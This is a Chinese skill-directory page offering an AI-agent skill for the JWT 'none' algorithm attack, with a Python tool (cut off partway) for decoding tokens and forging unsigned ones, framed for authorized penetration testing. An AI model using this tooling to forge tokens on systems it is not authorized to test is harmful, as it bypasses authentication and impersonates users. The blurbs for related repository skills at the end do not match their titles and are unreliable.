performing-jwt-none-algorithm-attack
它能做什么
这种攻击试图绕过使用 JWT 令牌进行身份验证的系统的安全机制。它发送一个经过修改的令牌,让系统忽略签名校验,从而使攻击者能够篡改令牌中的信息。
适用场景
- ✓测试使用 JWT 的网站或应用的安全性时。
- ✓怀疑 JWT 签名校验可能失效时。
- ✓在获得授权的渗透测试中查找漏洞时。
技能链接
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-jwt-none-algorithm-attack/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“尝试发送一个算法为 'none' 的 JWT 令牌,看看系统是否在没有签名的情况下也接受它。”
每周 5 个新技能,1 分钟读完。
工作原理
这种攻击利用了某些 JWT 库会接受特殊请求头('alg': 'none')的缺陷。系统因此会跳过令牌的签名校验,使令牌可以被随意修改。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Performing JWT None Algorithm Attack
Overview
The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.
When to Use
- When conducting security assessments that involve performing jwt none algorithm attack
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Target application using JWT for authentication or authorization
- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
- Python 3.8+ with PyJWT library for token crafting
- Understanding of JWT structure (Header.Payload.Signature)
- Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
JWT Structure
A JWT consists of three Base64URL-encoded parts separated by dots:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Signature
Attack Methodology
Step 1: Capture a Valid JWT
Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Step 2: Decode and Analyze the Token
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}
# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
Step 3: Craft a Forged Token with None Algorithm
#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# All known variations of the 'none' algorithm value
NONE_VARIANTS = [
"none",
"None",
"NONE",
"nOnE",
"noNe",
"NoNe",
"nONE",
"nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def _base64url_encode(self, data: bytes) -> str:
"""Base64URL encode without padding."""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def _base64url_decode(self, data: str) -> bytes:
"""Base64URL decode with padding restoration."""
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
return base64.urlsafe_b64decode(data)
def _decode_token(self, token: str) -> tuple:
"""Decode JWT header and payload."""
parts = token.split('.')
header = json.loads(self._base64url_decode(parts[0]))
payload = json.loads(self._base64url_decode(parts[1]))
return header, payload
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""Craft a JWT with the none algorithm and modified payload."""
# Create header with none algorithm
…
常见问题
什么是 JWT?
JWT(JSON Web Token)是一种标准化的方式,用于在各方之间安全地传递信息,常用于网络应用中的身份验证和授权。
什么是“none 算法”攻击?
这是一种利用系统缺陷的攻击。只要令牌的请求头指定了 'none' 算法,系统就可能接受没有有效签名的令牌。
进行这种攻击有哪些前提条件?
你需要获得测试该系统的授权,能够拦截和修改请求(例如使用 Burp Suite 或 mitmproxy),并且了解 JWT 的基本结构。
详情
作者的原始描述
Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens.
热度
- GitHub 星标
- 35k
- 排名
- #8250
- 许可证
- Apache-2.0
- 更新时间
- 2026/8/31
评论
- …
同一仓库的更多技能
abusing-dpapi-for-credential-access
35k为你的 AI 智能体提供针对特定任务的现成指令,让它完成得更好、更快。
abusing-shadow-credentials-for-privesc
35k教你的 AI 智能体写出清晰、结构良好的文本。
achieving-cmmc-level-2-compliance
35k帮助你的智能体搭建符合 CMMC Level 2 合规要求的环境。它会落实安全要求,并管理必要的文档。
acquiring-disk-image-with-dd-and-dcfldd
35k帮助你的智能体创建硬盘的精确副本。这能确保调查过程中信息不丢失、不被篡改。